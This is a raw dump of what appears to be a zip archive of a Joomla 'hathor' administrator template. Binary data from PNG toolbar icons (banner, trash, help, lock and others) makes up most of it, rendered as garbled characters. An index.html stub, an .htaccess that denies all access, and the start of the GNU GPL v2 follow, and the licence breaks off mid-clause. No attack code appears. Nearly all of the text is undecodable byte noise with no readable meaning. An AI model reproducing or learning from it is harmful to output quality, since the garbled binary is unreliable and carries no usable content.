w+ObLMr/`!g;lvM6.fG+h;1xU(z8V.?S<<09wY24~~ry9"f@<<|giX@'4HeGãܿp_k3>Kl߾=_΀Kcީ>Om۶4й,M濟<-osI$UlxQR?'رQ!ʔ*٦yF @OOP2Vxe:&eNDRx6u!<^~9Br Or@jj*A{>c:h*jnϟǥKxE0@0c wsga=ٴilق\֮]j&Zcq MZZaewoݺżVߣD~ ``H1 B9pT"c\xw (PLJZ(RIJBJ-6l@@Pmg& l0pؼy3 ɑݻ4?i TUU,=q`>fѩp%PWWG2Vikkh\51nj|> dE"㡵 Ν3Gt0cLuE3ATsooo$)"x`\(sqRc|ƍ'`is-į.h`$sU"h$Iss3-AP|\).}' E0 ANNEx\` z *rOnA>:"]]]t\$VDxh5 w%?Mf*m9 d$bafdRcDii8]v3,mD4hv-e/|"rmYD,|N6BdYY]IENDB`PK@y>\tU~ ~ 2templates/hathor/images/toolbar/icon-32-banner.pngnuW+APNG  IHDR @{u EIDATx^XkPSg~O7&`J;uZ;eZ(nݝG,2ݝ֭5´3NY/ucUd 2%Iȍ\=̦ Eqf_$}cAi X@[_y\5>^?` !&yfO|ֲO侬]vi;kM]Wױ ʄW6je`k^\#}V8w}NR-V׭,w{*88Rÿw~km3{ 75y5́ph+aMJ,`]S>3QnA<ƾxY{0rs0S? 3rm#.`Sxǃ' cNF Fn2 \sGb2FPrtc) 鱇+Lx B$A3G~AXqXcbIw^]`PFD>͏=F)) Xb T{KƦ L=Щ%?PD#pp 2 FGQ]ol`&ߑfqz=ʑ9 Ue0AzJ`C(d aj2K[{]f$$0\"r@T@P~a3Lب@෩^[#g(R!IPk`:+c@ٯJ (ƁI0 æx9r?o%K1tu5+L U\!'"ʺ77Uc1b ~oͯ'/'v ,`1 6llZybM| ) +fdQ2Gf a% J[l(ו raݫիJzy՚?b0.+/ûggL@ȟV (b񍶛}a/X;}.ӽ{f1L8?rm@-م$+KJ֏M@J}09[)$r3P&%DD 3#htp3T= ^zqź$=OKu\|$ϺTA/+alDfK!F%X /j^xjKyfF-8p;~K U T1 .\ЂTI0$6nܸf1L8Ar E"pWz-[0 C!(CьYlA9ٳxqX[) ̏cǎEv>գb!șQݻH$jT|ΈRTwUg ]h*1Kk%#G":EֽJ ?| ==}Vy@rPBu"8) 0 Ŝpej*-󁯾s͝Jq.Ş0̉o0wRplPDv>ȱ~9AF ü8p`NoǴƳ(c/*ܹs6>-tE|YsIBxn/aC5bIENDB`PK@y>\8551templates/hathor/images/toolbar/icon-32-trash.pngnuW+APNG  IHDR @{uIDATx^XMh\}oHGv*pi*taU)إP/IENoZK cL)ŴZxӍdj3v%,if{\a*i %]§43|" C4;. eFhP7n|x…O< T'Gڵk=?<'38/sDU d"e#Ec3*JEuA>j Ǒp\/Hm \$DD3ѿa%BzRR AvtV7 \ E=B ^,hE2?)&a2rX,Rt+.Q*m롂ʭ"qrG><%)( q@7xM'X}PHRAnHx+&xݯl CHaG@TA Rt B% A>A 82m( H[J (!˥XpؙE0 0PvD=P̱PMڎ뎫*)A_=@-tp‘l0iE$|66 XC1V PvMP^a epq RaWC `Ȋo; lMʞ@6W@P_1[7.ޚ p r![ !+uz;rvW̶^yuiA)@ ʰ!!$8`JuD  *O}qGpB(Qz1'k/=哐G>39 2r-OxA(NZz7P8,㯠iC@sZk<剿U|nbbթAw[!eBWa`;wm%2_Y`|gp ߟ|>pd{{(oȾ <`pppT*'O !wO:UTt >]vvuP(U KKKx!ҙ yDQd[;PWWWYY\ _"SSSjY!M,);v`yyv"6-J< 3&854Mgg&k2Lޔ'N$_>hD7:c8kϔy&`q> g[ٞK!0n ζ6e8[ɞ/Ʊca+$L"&<5Rf0޶|mE~FM=&AuS0Iܳ%0mHX8~xYPW?5@"dq4m [-T3 - 8rHS& f#7u=NzaZD t^Oٳ&4dT2xlz>077'ȸ=Mּ۷o/kM5{vR]YY⃱һ" hJ4})_0qѺYG;÷FTGE_IENDB`PK@y>\ɑƕ?templates/hathor/images/toolbar/icon-32-contacts-categories.pngnuW+APNG  IHDR @{u\IDATx^Ok\UƟsܙ̤LbcԪTۦev7 DiqBvB ( Q)bW.lv.44CSji󗘙Ƚ7s&MtaxsΝp= ")(IӲ!, dƶ@,މ7?>(ust kJ8C l)t-.:iq'5?,XT_ gsyu V]?:ШN$ $gNc'$8'TF 4RA+>t}#jE ɞ(_@@{SP2\=y"^s$S4AX<@'E^{ ߼{p:@ {b YZ)^^+tQ 㨝O¦ae?$E{#σ~ 4@J[ΒB@ I("%Zpt@0@XX:ZG @A=?)%RlO y*H*o9lS߀&ܟ+6p.~\QP҇| Qmr8HJ CQV?z zu!{O@6Nd`\< TEqJGO[AzCq'o]Bϡc0Ī(0Bz/cإ۝"J)C^~%^<8F}Ģ ȥ 5D7,Ozd i hqtg rY 6Er7S?QeADiγ/16v-M$D;R[Q Hf!iFtdKl ;~իBD49::M'$R%"uo;vl[ "]ڸq2Yl!iy^.Q$Cdðw^ٳV$޽VUrJi `xx;JY4/e,--Yf 9ϩ8é8VVVL:vJGdc E&g򤄶;T*WApQ\@y+f4LعS.b(hLvQ,'$bmmVJ-|@pΦk@Ip8o+EJ9 Vf588h[v ]477g@mzX*BEfavTMB&}}ya? sAT'$쎁̌pνݝHi:cn$sBbԆf޴&7nhTU߬t{n.])Y21Om^<=!aAſtBHmecIENDB`PK@y>\W4templates/hathor/images/toolbar/icon-32-save-new.pngnuW+APNG  IHDR @{uIDATx^X]lU~l-eEҟUHF$؏$DUʕI^5ċRpe)kbY~JIvw3'ӵ.[w&-r'9}}<=eevBm%21vx @?hikkEaL$؇>uEW>I{0 P4 4T2D"P(xP P1梲J,Ki'p. L Yl)WP+ƛh%`< IPcx}[P'` _<0= kt ˆ  աFIjJ¼rO?ԖN1`;|ked q,*ӓ=wM1w a Hw=HSa 8pbGZy 0 0+09R5ia694ůzl+`.j,$pA0G *a\L&J jor'#5o&3"+ܿD R& 1#v =4␤0dL>ƍL&s1L Nlm7X';7g>y7\Fy`9董_~9蚆 .`[ *lW7?RAg+_ 0'k׭ӫfTCťi}:MuOF2S,+-ipxǫc;\`6m: `@Ibby3dhҎ˜?AD/OR!9sjÉּ 8IƘb/(r23Ꚏ@4UeZ`IxPMhڜ .\p^A93NEA=DZD::З+J5 d {Xfhlz_wzmIkɞ/ ?*IENDB`PK@y>\o1templates/hathor/images/toolbar/icon-32-stats.pngnuW+APNG  IHDR @{uIDATx^X;LGncA #%Q$P`&+E(4SТT(PR"Q$I)lEBq L(|r}NYq]]{Ivo!aNBPӐyN I1Vlhڝ ƿ?R@h ޜ7egw?L|8h HF?Ҍ CpPnF>n>[ &S솉n 5`v%RKz$N2GFܝ!Id|>Oe.eFGG!C^3ׯС54o7. q!F IC {y8"{b`n G^4drpËw$Si]v#L!>F6t*lu v` ͦ: / ^s[%hZʉZz /jujպ h)@8-x⬦ p p p p@G1$uq )9XKiYf;f/ ;@ZaX%vK/߿H8axb޽?X]%yJ0M-^zu!"9‹b5/3<~wp8!UxL?Py_84:\kik Ƙ͐ܭfdY?.$p!{z{{q{&(Zc t kkk766~ Ų,t m<-P_- >䊘szkEozMXqurnk?3QOPHS Im 9u໐Ŏ::oOP%R'^w`wwwgeeş|:?33s, !]K8yT xD">J,-- Ƙ#>ϩ3$ӭ#NV' 6IENDB`PK@y>\q!!3templates/hathor/images/toolbar/icon-32-forward.pngnuW+APNG  IHDR @LPPLTE̥ޙR ꗳ艪D΢N ͔slݷؕMb9S6ϞnϭYS 'e J ,g@rn<[,]븮|j[I:h 0zH9쓾q}"PJ/^1]R8F k:ip@NKœ?@y8RE2n_'vMa~MtRNS@fIDATx^͔S8mo۶mm{>4iڝ/<M~Oެdx*=)-v+jP(9)h*jiQR>UrgG+f癩~HW~ꛘ42/{o|Ռd>@|b8 -Uj}κ}1沖 oKuQ35TnX&\oudddq$skdݗgZZf.wo޺ߪcNt tϝ ~]of8 wA1wqNB@`@m8ISڔS)6t9P0@Ua2gh@(ef`3Sǎ!.ɐpan`XzF0ef K1!zb  A}-@Jr:*( $)%#QB+;tH $\Hj0templates/hathor/images/toolbar/icon-32-info.pngnuW+APNG  IHDR @{unIDATx^Ml\WP> Ѐ2vQU:]Q6,2^QV%%,YQ#P "FvSh6t[i2{46 ޝ{~λ>BJR g7U1LL$R,"kC%E{@v@̘0Lb-WcU! X< WDQyHyWK ~qBL!0q]YPm@‹3X.  @[g@e G=+p n{ GHg ^ 5oM-T@_"s}[|4cT 0'De}W>B增Gg^$k='3o݁tna.lL4g]e &t3:L;B" ^PP[^. %q7E2y iӪ? ~#&%`ot"Q+s$&fuícfmՏ;&!X ՕI3Ů?_+cUDZuTc̻RYH__:xiK$ Ҿ#TDzt?XXA`? d XHUyBegBW7]k^s)%!F^:^P+&Raϑ؃ F- vU +狻: _āv_b$ o[n|ـxQG Ck?Y@lV? x@ P@+.Lv_h O dE8}%5dKw ^b+-2`m,=1c8Wf"p A$DSuqx|XZXXhVZ{#GZ'Qlʑ^vj5 @kbqqQ^g(BIs]r8@ ֚o@@ zZ5:d @1 @JرcbiiIY#4 5`,$tx!Bn9~xt)ܹS4M,"AHG9lNN> ݻwՙ M8q5?<777L"ѣG:dr:t%Ҷτӷoߦ B;u]h(ϟ\R4templates/hathor/images/toolbar/icon-32-user-add.pngnuW+APNG  IHDR @{uIDATx^MheMڔRnADڃc{kJ!s5AC ^n~ BSAM =R6 ۏd?fg^^̴q^g}}b(xGA`Q8ΰq3؎<:@+U@ņ hX<j!v‘É%W@[BVV>R(!J26K"H0&r!Tx: UI5zJ56=D(z2г;PRׄ!"8z[_zikŎ3EPʻ(0ߖN؀r"m(8JF$+-\8O?/q>%wK{i'\UMD_ˁZtIs$֥uvV^@٠jθU[osDW2?G1A|]fkB[ruA"i"s2 *dy2Ww@ :=vZE OM,V_WחM 1&VMlƻ$ a.*ϼiq7}`E[]`BExxk1wpMQxj+(-&>U :j$ܽ72l~,Ͼ4 'GaP~Pr)t;A/먀bsClyeԟ % 0@JojK"BPǻi @2?q@ǁ;/޲˿}<7h~L5E܆lpqlJ@ X658~aC+;A(acO<:x8gΜIJa7 q@X,6ldR'OF<!mxbҎD2SϘEADM.'Nj"@%[)z-$ LMB1 Iu޻wow&Bd! u!9}}^6р%~>q>ԩSzd>322(&+ӧSu@;۱^ϙ"ͳGGGp<{G]8@P7ٿ0B>0!w|AióN:::V'3@vΝ>;aWW*+++=ܹs|zHx sX6rR,ɔJ%ہ(0$viiIZp>q F?~xiIz;4B+IENDB`PK@y>\uRR3templates/hathor/images/toolbar/icon-32-preview.pngnuW+APNG  IHDR @{uIDATx^]h#UIf&vbMRjmS*Tlf) z! {J[As!Pa/DaAl٠d{UMi IIdqXr1 {ϙo;eNOOa& C*ªDu*mBT-P%Fkwg耷T(*x%,R,+{g`J +Ѓg HJG"]!p8<<$oF0\ƚ{~n ]= =s8U ^ :hPU8.q?G,R}K5b ErE+~݆#*eYBiԫ0 _z^X)c{ 9.M## С/{ M^œΡ3u:ηcR;aU*@R:VT.+N(r9lmmh8+"HʇB###sʏ Dd|e"s'#Mt@@K@+!i%$`pE//O:ds{@e2 2 h4H>@o˒TXsc@ 9ڌ ٰ cjj nD#lT+67!aYV$ X6!ظ9>>ޔ$wVB7t&iIENDB`PK@y>\#^=templates/hathor/images/toolbar/icon-32-banner-categories.pngnuW+APNG  IHDR @{uoIDATx^X}l~q t֖(ѡR60+[BLBc$ ҴNM*TT&:ʴ-+mq(b(9! 1?w{ߛmN{Gs~~MYi@6}Asl #>w8A-N8A!"MwҼ^m u/b~[^{e\6XֽmS3=VQ [1 d8>~Ҏ-ru~ A4vCƇͷ^0)Հe[& &QIҐ PNdA I;, WʿzzrQW :oωykGO)na }Z_1)ʁ>PQm7wކ> Wmw(3G| ({J\zq\C ۻ81{=1oQut{7;v׻fM>cj|a  00PRBT]ˮ#g^3I!9!Pu(I*xr.~(E4 LCED8B$86MDfQ&KgC@#*Ib0 ="%W\>]-E#e^ qg2ʤJ fPeu#"VzJ[^k=#3Ħ2=Ջw"4V@G!d+Y,q,.8&Qw6GkC(ƿ&P-Ţ,ˑ؄@~#dZ?ubWIkP4+'c*޹8 F9/G(F 'JQkD>7\+~9% [x.ԅ_<%ax/͘Aຯ&@{R3 c ^hQ[ ܋żqL ISceXSEZ ^|{y\N>R'V  %1{\r7 NĂ `K_rͅz;qA @'܈A,hkM_A"ד ޡ fTП]ٙf$~0n344LӑMc?k~_UNȈQ cֽ@`$dN!+1"$ BP|\Fd24 0c2I[O-PH01PMyI -@׀U6FEQ̙VKU;ؽ{wz.]M&SseeecMMMêUeؼyΖ(N:5<^F:cڵ3իWZ.]j(Hp,^~NMsY$ rnn.DQd0 I$%%% rgg'^~FF000q۷&\A0templates/hathor/images/toolbar/icon-32-deny.pngnuW+APNG  IHDR @{u}IDATx^]]Wk5CgNZEm6F0ZpE"8y+"KiE4*HZEJ`5cZcf)i&4qޙqk8s@ s^Yg폻IDnʨ|>|;<!yAPˀ"8j »eC:+(EEu{.>,s<]_Fe68k5X"+^#mBxV9+/\Ȝ]oӠ"f-; DDxw?\UXs[Mb8,`.(yՄ)UZ"r Un֢oh19BdP6F#,+c6cƝ?9uWg^`cy8V7@;ܫɋhOƿ'$$"S,x4LBIa#Xf"aЉ,sC|hk)gVf=ˏ>CP?~^2!@;3~찑%O/}w!°BC$ -YЋm_ }LّmDB0 ړ 3 ld{eų @P`9&joOR&_/?yl(@jsEsxlYNڎX7QզZ-4Y "J Tʀ1Xi4v"'n_w6.j[Dڥڤ_=쎹ɟ=x[}R)cTC`yQ#Fr;>ɇg.mUVKjzfLtcG^{~}I`cnrӶ&0A?FW/cUs-!uYm:LDͩZ0`:zouڪÙ6z*HtPPȖt J/~mU&M5PTu̩?K?#^x*MdzHR?#9 ͪ. &S OxF}T:\M̓+q1jSX[__hۓ ̉l\Dg~6sn8K zTJMz Fj:*zì`hhX^^FV랞l6~z Q*&>w Kvvs4RNKs\Uɉ 3templates/hathor/images/toolbar/icon-32-unblock.pngnuW+APNG  IHDR @{u PIDATx^XylsyxGH0D6(VUCKh )&j*6-IZJh@I$&ZQit 8;}wwvOS~zv{||_&XC\+ߪhpko{݂'c# E1ZpYy'{k|wCO( K@`'>/~IofF?6# rC(d1[cԜj[ғ,CJȐ@\(K;`Bt00WWuR 5f ^. VUZ%e ˱PWܵ1Iߨ)/4  aa`Y5gv-P=@@G|5E{Y0\/, wJ怢%aoTM^'=f@ Lb ??=E 8s$\nv1Fs"lX+!oIA}Ȳ qHHLM%5*R\A QvԼ^Wmdʲ)f,ςp;sH| NF}+4:y7j\AO OҧnLv|%{KMkNנD.qI`UXSfS$zbwƤKdљyiiAׇB#X7sU)X2y!'"Iv踚=Hp'lfe]6r+07'(S|mJLY;Y)|F;4 Hַ04wį8R#\"f Nvy!Hݲte{ 0 D&*RNYJݬKzAd@z."bT/4,LKšL0<4]q:#ZY aahmmX6ܩ>xt /rA4~4-9rJkfo9ik `Pm$CZNZ}Ҡ0h 뽎lZdD" f+YNݡ]AuFz^dIaUԂ] .,ऊ}("qhw\ n=[~ M6EF"LVF}8ߺ,m} 6ǮuvL۰&p@Ow7Yyn>t2N{ >kB4nPNsE%/Exc˖-ad❝VZD3+gMm۶oė'ĝ 'ɏ~zcYu>-sϽ+_6m;/aaa,A$EQ<ɓ'oشoG}Rz:b{p<\Y9kEQŵksؿ\x#JѲϓf:o8&0@8~e5#-exn{>60EӼ0煨!(IENDB`PK@y>\͗t t 9templates/hathor/images/toolbar/icon-32-banner-client.pngnuW+APNG  IHDR @{u ;IDATx^Xkl=3zw?lp歔TD[iR*#T@h2TMq M^qblQ6cϙ齣hf-6HGz,={oEWwQ F %O뽈AT5@X(8 GUAz$aoNՊͥ9V!iе[(,m:>z8֐4?:taukr1s]dInxm{uؿwB=gꉇ J 3vl[ &C[y584$UK.;KrӛV髈( &oCv ^5xrڂl{ߞo9ۣ7Rp=c).0<4aI*ɳ|r$`(zr]3?͂.6Y΁eIƣe0|sӳH65(Jum/3Ǡ?_8W&``:#~ Oz0-G2# JE |܄5F`0ێ)7HD^@E|~;(JE""2FÒ1lz\sb*~$xsN_MQE@@aEbAD'+uky]ǜX}04(Bs`Y * IY31.Z]x25@,2Ls;!)|N!M~^w㱵ٸqy 2oK5 Ɠ7rΞ KjpL;f2Me5cx*ٷ ]W"|2Saz dy\eEҡ`:"a~UV Ϝ9Sk2v{ cX|ʕԲD05Y]P>}e4Ů+V`zz@hd3X 9(b1sx+**Jqzԩbׯ__ܸqpq }Rm!4ؾ}Wg{'8 L``Hu@<55@{9T .%F8GGGZj@[N;#6s.7\;p 2X\+WԳP Cs$<5,`ߪLEt Rp?T. @1ߴi!݁Վ2;3O^ M'5%/(Xm#l3;+N'#,v,~`˖-N/Y 1&%~U7ېMՉEAcM F^Pad/ט/:5s Zعs'򜳐 K^P!jF x&}ݯ <`FxV[Ƚv6.(MƠIENDB`PK@y>\"kss0templates/hathor/images/toolbar/icon-32-lock.pngnuW+APNG  IHDR @LPHPLTEŻkkkuts{{{fff~ȴtRNS@fIDATx^n0CCM,i;#Ox@*Mģ$( )~ iey}k9-U3*:!R񎾤E&l~u'b+&`TGP=-wd/ݖ:.DHB=bmM%.Za@к欓Iv$m&Irt$FiF'% $x)rz^WM64,kN{^\.o/WNQ1AM`0?h%`Z ?c=R`OMӸ"G/.>LyHPTO>88q0 >-L,N( F|a I9Q:eDX=kJ)uƈ[Ot‍q{l>&IENDB`PK@y>\g g 5templates/hathor/images/toolbar/icon-32-new-style.pngnuW+APNG  IHDR @{u .IDATx^ilT;g^1x h!42VGV&Q[%UPZAMV*jҦ645jH BSJxߥC\i@PԤRy{9z?Ͷm>Kxo>E4hQ" ޖ,, Ot!H^w `Oq%G6`yK`gZmL|'&`4 v`37̟?[e]hJUG`ccp063Rav)UaC3;b~!L*Ai-uX߻y _k?>FSwq{Is62-XehR8>H>\2Ĭ߶zxc"_+gjg![ XlJ47o(Hy!]c{~5]!;8239s&p h>BV\v!P=a ^ KKYo/Cx=Ybesulv2B~dܴhYM?\3ubZV8ɄSc)^o4͒U4 ! enj=e 7Wל8<߇9Ϫ,/Ro bGx4TBtt:ejؖCs u FAiǼ)h  )((ui"1M ˶ӺlFEdCFC qxx= $ڊ=(M(w8oA|0,8!"\&pgxsJ022 '@b Tb\Û&X#Zfv'4 u}}}e_}}====BJ1נX.1L (WjcǎUgz1}tg^"kxypٲeq"*`UjѶB]9QߤMkB>Dp18ĤNJt5ߡVXQn!sW_}Zm;5I?yR+O Z!"H\N&keOXlQW 8 8 vwR!VB,!H$k7(9{6.80WrBL!XP^tI\Br}h4 $\cC4w{sD0s̑~ vK[̀.n+S.9nra>444F`)BP;';T^ebbǎa寰D~,vaKR*P<սF>44TUU&Mo߾=8 DHT ۩`'pșF QDRrR:Y#=BGm#j8>W=2D՞|,ݻo6(Xx|3IENDB`PK@y>\OD 6templates/hathor/images/toolbar/icon-32-messanging.pngnuW+APNG  IHDR @{u IDATx^X{LT?se^̃Vh"ج6V[QZ_mR5Ub\6iDcפfY\P_5` HcPT!{zΗ^onMޙw"gGBæ[Ds(F%G"A~} s2ŒrX3#`!nF"DS1X+̂U3AY܂#+``Axd_z#JFMԍf1 %Fj2HK@2$DzC[yH2 ")>J0E6rOQfs Ы%У^ @`p147g{{D G az~HV2D``$Bul| ƫ#)r H~p-'9U m0rYaG15+j"pñ TfQY^o#S` kDPG1 1kśBS >E/dFBa5\IR͆BO7,;7a#$'W>R^Aadr\OAL:R\\~ &L)S`HE= )讠#@ fʱFZO}}}K A>}:HO>3wL)| j#L|+VYfUoo/tvvY`ҤI 9k!j@"~8E?dV>Xe"+gϞߡD.P afz PajRFC:j{ @F A/L<9(@GT~O;qĮ˗Mlg&B&b6ھ \/ O*߷og~IYիW/Xrse(ʈJN!rNL`ZA\y'8p`w09s F `zzzOTAT+B230N:d@kG rP^/0?.t {)0C!9ܽ낼i$_L&"twu H1#lkk'S*&P|Pփ+d"&3,].4 `2NB<E#x^Bbnݺ 9g^4a}r5o. I8bXb6=[AnZQ^ *KHܻ`A/qe $Z}Ff1AyyG eͽd$' dP5xĠ'HO+ A9n7\].^ONJN1cFbHF#'3rzDJXy1/]|8C?يlۺpӦMDNqAԚW!%)F[{[Cƫ7n-=dqیˆ " QSͭ#}T6u]` %9IBjBżҢG .W*shf9:!Ԉt"~QRa^p჻uj<ԇ PIBloؕ*޹sVZȤ77mH4"$xяx_>z:9%\Hn9BrS]͜9 Gc/W\K7KX|̙M6j gYf}.cpuS}L,-Wd'OtܹS8׵5 '))a喖$'a܂JqBmuh޽{rqMQ@]]݈T.Bɡx@x1'(au . ^qQ}FFv4'4yA@$,' ^qOjDAA +0gPOIE9o1\K#: xqB~x'Ƴ8\8AjG((ˁ'OGM,N0Y`Ʊ8|dWqYg]U5VV7obMgϞ"EԏKHi6?A.0Wq &&AN(Ivqk/'pI&Q'b089>WYy޽{#*N " sCEcM  QIENDB`PK@y>\s)R 0templates/hathor/images/toolbar/icon-32-help.pngnuW+APNG  IHDR @{u VIDATx^X lU~mo{ۋm6wVӵ i1l*ZeF4RlpFB04A6GpA* fĶ1mj;J %?ܳrW6ɓ{yTU$ͤ7 m۝d_7\Q20NϚ9b[S++?L&2$IE"*)R)2>a$Cԝv;E%cJdvh#TѣѦ)$UH5# x XlݑK6ԶF >—cೞy ċ$Ӓ kV6Lf 4xN|]WX39W$n]{&x FLʕO)2Gjg?3|+b DG`'ӚE&uHPksEpG$C,8e0H%ܹ )`jT9sHB0GH޿yWziۢ~2Ɇ5N5%#1DAECcLmAosx|h|#bIH!LnSq *b#tuxƼEz9NѸ) gܛXP#bqZ \v%c1 8~aŞKP:pM~-wEzqŭ'MQܝ¼[j]%|XqUwUϧB|JM7@{GG+WԑuttTS΋_+TY؞ =`[ꈧ_иM7:X\^c), B*r=@i,(+/޹6LNuqG"C5oHdE&i1ט߀Ď7hHpZ,>_X!~j0c61.XA(ݧ)XzaNw:;T;C^!k4'e_R<4ȻnxLmGA!;SY[3dlOM4)xԱa(݉?ڸ<.уHv.*eəaط0lw ʲ;=ɷiT)yZA..\kcgI0a  dUd۬]ɓM#[̰83_hKp?|[+1ݛF{%Z/d9Do=yVM|39fVgrجa}qE֠qp2Hu%{W؈h2c L ~@fW`8;Hî D01'V_&^>.Sp}pԇM6a6{h_0F@9Si/$r0@HeU 3Lg>6ƛ MP/b+8 t I"pp!ђYJ o̡"bt/a{P2|~߀Kr8P)sD/0h;?6FD~a%' '&@NܹsXxp0&>bxxW.D}K.}@ҏrq֯[. ĩ[LF+nRFFeffƽ}{;-⤊8IJ!wg ySVVŋ ~2bX'/I-v]l6a?sLB"v| dIH 8Hu pQWWc`b =0"X_p?oq~\ΕLS mcٳgիW`u|lXT#PX(xAs! MMMHmNpC#Q(23g:zab1x˗/Yc>>vk(UWWxU\.#iʔ)HϘ1;fR3k,G}fϞ-*'oL&zN< ,'x-ZDӦM]ފ'ΦR=K,Ԇon71+%,SAA={!&4$}՞8DLXhq H>@.a:@:Ї;X`˗;҉?Epmjk4.'z*Ӯ]8N9T˖-̓g}F{%N5FVŗ'ݻ8q` {@?~#ydꫯVohXp f7Ɲ-qqbNu/i܈2ۈ.y]-'s!D˰~4(P3Ecę t It l EOVɓu?ĈX=_ZnΕ+W3ۊ81EEE q}!q;v~m۶yh~W|Oo;'rEqRYĠ9v f)_}>_b[ZZ srr|h ,̉ pLѣG_~q}_DIENDB`PK@y>\ >templates/hathor/images/toolbar/icon-32-new-privatemessage.pngnuW+APNG  IHDR @{utEXtSoftwareAdobe ImageReadyqe< :IDATxXKlS~R Q5DS $".ZUŨUa)UXTEW]j@À*-*SBA&ay;8DZc~ RY#_JwC 1B $dtĬ\- t6V7.٤B&Q41$uWVV466Vرc{qqqΆ EEEpFsxU* 5HZmVd+ eee1d2rinn6ꇤ _s! ^r#G`rGMMmFNN ;s,.. f(x ǂ^ѶǏ-3j]U@k)1,%AL4ݼy$`صkWǹs~VQQQ$.Fڣ1 k`0f3~M2G, BPϭfB@?46 Z:Y΂ݮXoo`0(LƦ!N'^w^/555 ,H%!/L&% a:~p8c7/g)d-_dN|a?bj/BgHe2<<,&B!i޽8u v]!jQ<~aQڼyx6>>Nߕ{0SA' FѣG_v<zqsq, P{0R4A `1ݻw?_ܜ+ 4\,: `w [Y*J-_%Fĭj#QD&HG2@ *ɰVB8Ԗ+٧4杧hJSH#z*!O| xؼ@QJ eL@Ȅ1of-Ǿ]ة ":e#wIEJ %S ;}5+Wl:;;E [Xr;?3Cۙ3g޼?s-6uۄU`#&nã?ơC`[^C[4v>}z7[@nݺ`\u eW_c`%+?qDg< a!DmzzZT=F>MSLմ*Y"\bL]Kܾ}0 &D&pxg{*͜y@g1f>yca.P >ur0,α#ܐi(tԩS\~> lPB?>Ǐ? gL[hB< `{V۱ണtcq!`?:0vw/uH>IENDB`PK@y>\@1templates/hathor/images/system/selector-arrow.pngnuW+APNG  IHDR 0PLTEޱ׬)tRNS@fQIDATx^%ʱ @`蔮QB )$"L9~57*[SV` 0;ФIENDB`PK@y>\V)templates/hathor/images/system/index.htmlnuW+A PK@y>\)(templates/hathor/images/system/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5kk+templates/hathor/images/system/calendar.pngnuW+APNG  IHDRa2IDATx^SMkQ=3~j"$L@q!(B(p'(҅ n PHk?BH!j|P[y^%$ygsxU#̸,X3CH* )(yґa׀]v일0R$g86pg?oƛ$  $th(f \#$:akeI'!IdBP[`f\PEEtemplates/hathor/LICENSE.txtnuW+AGNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source 